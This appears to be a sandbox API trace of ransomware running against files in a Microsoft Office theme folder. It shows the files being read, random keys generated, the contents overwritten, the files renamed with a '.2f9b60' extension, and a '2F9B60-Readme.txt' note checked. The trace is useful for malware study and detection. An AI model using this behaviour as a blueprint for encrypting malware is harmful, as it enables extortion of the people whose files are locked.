[0100.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202639b0) returned 1 [0100.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202639b0 [0100.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a10 [0100.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262300 [0100.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262300) returned 1 [0100.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0100.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18500) returned 1 [0100.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f4b0 [0100.931] sprintf (in: _Dest=0x1cd9f4b0, _Format="%c%c" | out: _Dest="6d") returned 2 [0100.931] sprintf (in: _Dest=0x1cd9f4b2, _Format="%c%c" | out: _Dest="54") returned 2 [0100.931] sprintf (in: _Dest=0x1cd9f4b4, _Format="%c%c" | out: _Dest="a4") returned 2 [0100.931] sprintf (in: _Dest=0x1cd9f4b6, _Format="%c%c" | out: _Dest="f0") returned 2 [0100.931] sprintf (in: _Dest=0x1cd9f4b8, _Format="%c%c" | out: _Dest="ab") returned 2 [0100.931] sprintf (in: _Dest=0x1cd9f4ba, _Format="%c%c" | out: _Dest="e4") returned 2 [0100.931] sprintf (in: _Dest=0x1cd9f4bc, _Format="%c%c" | out: _Dest="02") returned 2 [0100.931] sprintf (in: _Dest=0x1cd9f4be, _Format="%c%c" | out: _Dest="86") returned 2 [0100.931] sprintf (in: _Dest=0x1cd9f4c0, _Format="%c%c" | out: _Dest="17") returned 2 [0100.931] sprintf (in: _Dest=0x1cd9f4c2, _Format="%c%c" | out: _Dest="f6") returned 2 [0100.931] sprintf (in: _Dest=0x1cd9f4c4, _Format="%c%c" | out: _Dest="8a") returned 2 [0100.931] sprintf (in: _Dest=0x1cd9f4c6, _Format="%c%c" | out: _Dest="7a") returned 2 [0100.931] sprintf (in: _Dest=0x1cd9f4c8, _Format="%c%c" | out: _Dest="d9") returned 2 [0100.931] sprintf (in: _Dest=0x1cd9f4ca, _Format="%c%c" | out: _Dest="bd") returned 2 [0100.932] sprintf (in: _Dest=0x1cd9f4cc, _Format="%c%c" | out: _Dest="84") returned 2 [0100.932] sprintf (in: _Dest=0x1cd9f4ce, _Format="%c%c" | out: _Dest="32") returned 2 [0100.932] sprintf (in: _Dest=0x1cd9f4d0, _Format="%c%c" | out: _Dest="db") returned 2 [0100.932] sprintf (in: _Dest=0x1cd9f4d2, _Format="%c%c" | out: _Dest="fb") returned 2 [0100.932] sprintf (in: _Dest=0x1cd9f4d4, _Format="%c%c" | out: _Dest="06") returned 2 [0100.932] sprintf (in: _Dest=0x1cd9f4d6, _Format="%c%c" | out: _Dest="c2") returned 2 [0100.932] sprintf (in: _Dest=0x1cd9f4d8, _Format="%c%c" | out: _Dest="d4") returned 2 [0100.932] sprintf (in: _Dest=0x1cd9f4da, _Format="%c%c" | out: _Dest="4e") returned 2 [0100.932] sprintf (in: _Dest=0x1cd9f4dc, _Format="%c%c" | out: _Dest="cb") returned 2 [0100.932] sprintf (in: _Dest=0x1cd9f4de, _Format="%c%c" | out: _Dest="14") returned 2 [0100.932] sprintf (in: _Dest=0x1cd9f4e0, _Format="%c%c" | out: _Dest="72") returned 2 [0100.932] sprintf (in: _Dest=0x1cd9f4e2, _Format="%c%c" | out: _Dest="32") returned 2 [0100.932] RtlInitAnsiString (in: DestinationString=0x284dfe68, SourceString="6d54a4f0abe4028617f68a7ad9bd8432dbfb06c2d44ecb147232" | out: DestinationString="6d54a4f0abe4028617f68a7ad9bd8432dbfb06c2d44ecb147232") [0100.932] RtlAnsiStringToUnicodeString (in: DestinationString=0x284dfe38, SourceString="6d54a4f0abe4028617f68a7ad9bd8432dbfb06c2d44ecb147232", AllocateDestinationString=1 | out: DestinationString="6d54a4f0abe4028617f68a7ad9bd8432dbfb06c2d44ecb147232") returned 0x0 [0100.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b86a1c0 [0100.933] wcscat (in: _Dest=0x107180, _Source="6d54a4f0abe40" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\6d54a4f0abe40") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\6d54a4f0abe40" [0100.933] wcscat (in: _Dest=0x107180, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\6d54a4f0abe40.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\6d54a4f0abe40.2f9b60" [0100.933] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\6d54a4f0abe40.2f9b60", NtPathName=0x284dfe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\6d54a4f0abe40.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776d90 [0107.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776d90) returned 1 [0107.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a1a0) returned 1 [0107.189] NtQueryInformationFile (in: FileHandle=0xe28, IoStatusBlock=0x284dfe78, FileInformation=0x284dfe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x284dfe78, FileInformation=0x284dfe88) returned 0x0 [0107.189] NtSetInformationFile (FileHandle=0xe28, IoStatusBlock=0x284dfe78, FileInformation=0x284dfe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107180) returned 1 [0107.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0107.190] FlushFileBuffers (hFile=0xe28) returned 1 [0107.400] CloseHandle (hObject=0xe28) returned 1 [0107.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0107.401] wcscpy (in: _Dest=0x1079c0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.401] wcscat (in: _Dest=0x1079c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0107.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5f40) returned 1 Thread: id = 596 os_tid = 0x1034 [0094.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml")) returned 0x20 [0095.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml", dwFileAttributes=0x20) returned 1 [0095.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe2c [0095.068] GetFileSizeEx (in: hFile=0xe2c, lpFileSize=0x2863f740 | out: lpFileSize=0x2863f740*=959) returned 1 [0095.068] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x3bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.068] ReadFile (in: hFile=0xe2c, lpBuffer=0x2863f6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2863f708, lpOverlapped=0x0 | out: lpBuffer=0x2863f6c0*, lpNumberOfBytesRead=0x2863f708*=0x4, lpOverlapped=0x0) returned 1 [0095.072] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0095.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fac0 [0095.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fdf0 [0095.073] NtQuerySystemTime (in: CurrentTime=0x2863f600 | out: CurrentTime=0x2863f600*=132462177009082000) returned 0x0 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x435b8ef1 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x7211fe54 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x7908b837 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x5dbf9a2d [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x361463c2 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x35028e60 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x477f83f9 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x65cab06a [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x549f84b0 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x79557a28 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x59dd09d0 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x4ab7920e [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x4f98e8e3 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0xddcbe84 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x135e7b16 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x630894a0 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x34c64943 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x235b5835 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x410adb60 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x33f3ab62 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x56198b02 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x73bb9642 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x372c380f [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x68cd2b32 [0095.073] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x54f9cde8 [0095.074] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x11dd4883 [0095.074] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x737f92cd [0095.074] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x3ab6fa30 [0095.074] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x37f8b43f [0095.074] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x72b74269 [0095.074] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x673f9fc2 [0095.074] RtlRandomEx (in: Seed=0x2863f5f0 | out: Seed=0x2863f5f0) returned 0x2e754f17 [0095.085] ReadFile (in: hFile=0xe2c, lpBuffer=0x201cc1b0, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x2863f5f0, lpOverlapped=0x0 | out: lpBuffer=0x201cc1b0*, lpNumberOfBytesRead=0x2863f5f0*=0x3bf, lpOverlapped=0x0) returned 1 [0095.085] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.087] WriteFile (in: hFile=0xe2c, lpBuffer=0x201c0d80*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x2863f5f4, lpOverlapped=0x0 | out: lpBuffer=0x201c0d80*, lpNumberOfBytesWritten=0x2863f5f4*=0x3bf, lpOverlapped=0x0) returned 1 [0095.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0095.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0095.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb50) returned 1 [0095.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c0d80) returned 1 [0095.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201cc1b0) returned 1 [0095.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8667c0) returned 1 [0095.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0095.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85fb50 [0095.280] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.280] WriteFile (in: hFile=0xe2c, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2863f710, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2863f710*=0x102, lpOverlapped=0x0) returned 1 [0095.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0095.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8671c0 [0095.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8160 [0095.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8160) returned 1 [0095.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0095.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8160 [0095.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b60 [0095.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b60) returned 1 [0095.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8671c0) returned 1 [0095.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0095.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1ced7b60 [0095.673] sprintf (in: _Dest=0x1ced7b60, _Format="%c%c" | out: _Dest="19") returned 2 [0095.673] sprintf (in: _Dest=0x1ced7b62, _Format="%c%c" | out: _Dest="2c") returned 2 [0095.673] sprintf (in: _Dest=0x1ced7b64, _Format="%c%c" | out: _Dest="ff") returned 2 [0095.674] sprintf (in: _Dest=0x1ced7b66, _Format="%c%c" | out: _Dest="f3") returned 2 [0095.674] sprintf (in: _Dest=0x1ced7b68, _Format="%c%c" | out: _Dest="d6") returned 2 [0095.674] sprintf (in: _Dest=0x1ced7b6a, _Format="%c%c" | out: _Dest="2e") returned 2 [0095.674] sprintf (in: _Dest=0x1ced7b6c, _Format="%c%c" | out: _Dest="d8") returned 2 [0095.674] sprintf (in: _Dest=0x1ced7b6e, _Format="%c%c" | out: _Dest="bf") returned 2 [0095.674] sprintf (in: _Dest=0x1ced7b70, _Format="%c%c" | out: _Dest="8b") returned 2 [0095.674] sprintf (in: _Dest=0x1ced7b72, _Format="%c%c" | out: _Dest="bc") returned 2 [0095.674] sprintf (in: _Dest=0x1ced7b74, _Format="%c%c" | out: _Dest="aa") returned 2 [0095.674] sprintf (in: _Dest=0x1ced7b76, _Format="%c%c" | out: _Dest="0a") returned 2 [0095.674] sprintf (in: _Dest=0x1ced7b78, _Format="%c%c" | out: _Dest="de") returned 2 [0095.674] sprintf (in: _Dest=0x1ced7b7a, _Format="%c%c" | out: _Dest="1f") returned 2 [0095.674] sprintf (in: _Dest=0x1ced7b7c, _Format="%c%c" | out: _Dest="22") returned 2 [0095.674] sprintf (in: _Dest=0x1ced7b7e, _Format="%c%c" | out: _Dest="9c") returned 2 [0095.674] RtlInitAnsiString (in: DestinationString=0x2863f788, SourceString="192cfff3d62ed8bf8bbcaa0ade1f229c" | out: DestinationString="192cfff3d62ed8bf8bbcaa0ade1f229c") [0095.674] RtlAnsiStringToUnicodeString (in: DestinationString=0x2863f758, SourceString="192cfff3d62ed8bf8bbcaa0ade1f229c", AllocateDestinationString=1 | out: DestinationString="192cfff3d62ed8bf8bbcaa0ade1f229c") returned 0x0 [0095.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97760 [0095.674] wcscat (in: _Dest=0x1b7a5d30, _Source="192cfff3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\192cfff3") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\192cfff3" [0095.674] wcscat (in: _Dest=0x1b7a5d30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\192cfff3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\192cfff3.2f9b60" [0095.674] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\192cfff3.2f9b60", NtPathName=0x2863f730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\192cfff3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118470 [0104.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118470) returned 1 [0104.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48040) returned 1 [0104.736] NtQueryInformationFile (in: FileHandle=0xe2c, IoStatusBlock=0x2863f798, FileInformation=0x2863f7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2863f798, FileInformation=0x2863f7a8) returned 0x0 [0104.736] NtSetInformationFile (FileHandle=0xe2c, IoStatusBlock=0x2863f798, FileInformation=0x2863f7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5d30) returned 1 [0105.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0105.341] FlushFileBuffers (hFile=0xe2c) returned 1 [0105.349] CloseHandle (hObject=0xe2c) returned 1 [0105.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279130 [0105.446] wcscpy (in: _Dest=0x20279130, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0105.446] wcscat (in: _Dest=0x20279130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0105.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0105.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279130) returned 1 [0105.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ada20) returned 1 Thread: id = 597 os_tid = 0x1038 [0094.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml")) returned 0x20 [0095.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml", dwFileAttributes=0x20) returned 1 [0095.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe58 [0095.167] GetFileSizeEx (in: hFile=0xe58, lpFileSize=0x2504fa80 | out: lpFileSize=0x2504fa80*=964) returned 1 [0095.167] SetFilePointerEx (in: hFile=0xe58, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.167] ReadFile (in: hFile=0xe58, lpBuffer=0x2504fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2504fa48, lpOverlapped=0x0 | out: lpBuffer=0x2504fa00*, lpNumberOfBytesRead=0x2504fa48*=0x4, lpOverlapped=0x0) returned 1 [0095.478] SetFilePointerEx (in: hFile=0xe58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8070 [0095.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced79e0 [0095.478] NtQuerySystemTime (in: CurrentTime=0x2504f940 | out: CurrentTime=0x2504f940*=132462177013138000) returned 0x0 [0095.478] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x289f74c8 [0095.478] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0xd004793 [0095.478] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x620442eb [0095.478] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x3a78673c [0095.478] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x4bc6c2da [0095.478] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x3265c342 [0095.478] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x780459d1 [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x3b3bf631 [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x69cfd182 [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x4e4bebb3 [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x7710963b [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x7b009fdb [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x42527bb1 [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0xd64b660 [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x290ccfef [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x69e51833 [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x4c59f63c [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x508485ac [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x6e415eb8 [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x7376d59d [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x4d32df00 [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x679e195a [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x4e6f68dd [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x51a128e3 [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x7ea96d22 [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x518f4deb [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x346240bf [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x3e87899 [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x33a35d [0095.479] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x6690a41c [0095.480] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x30fe27d5 [0095.480] RtlRandomEx (in: Seed=0x2504f930 | out: Seed=0x2504f930) returned 0x36d3201 [0095.490] ReadFile (in: hFile=0xe58, lpBuffer=0x20179560, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x2504f930, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesRead=0x2504f930*=0x3c4, lpOverlapped=0x0) returned 1 [0095.490] SetFilePointerEx (in: hFile=0xe58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.490] WriteFile (in: hFile=0xe58, lpBuffer=0x2012e130*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x2504f934, lpOverlapped=0x0 | out: lpBuffer=0x2012e130*, lpNumberOfBytesWritten=0x2504f934*=0x3c4, lpOverlapped=0x0) returned 1 [0095.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0095.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7410 [0095.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7410) returned 1 [0095.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2012e130) returned 1 [0095.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0095.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0095.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0095.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced7410 [0095.756] SetFilePointerEx (in: hFile=0xe58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.756] WriteFile (in: hFile=0xe58, lpBuffer=0x167160*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2504fa50, lpOverlapped=0x0 | out: lpBuffer=0x167160*, lpNumberOfBytesWritten=0x2504fa50*=0x10c, 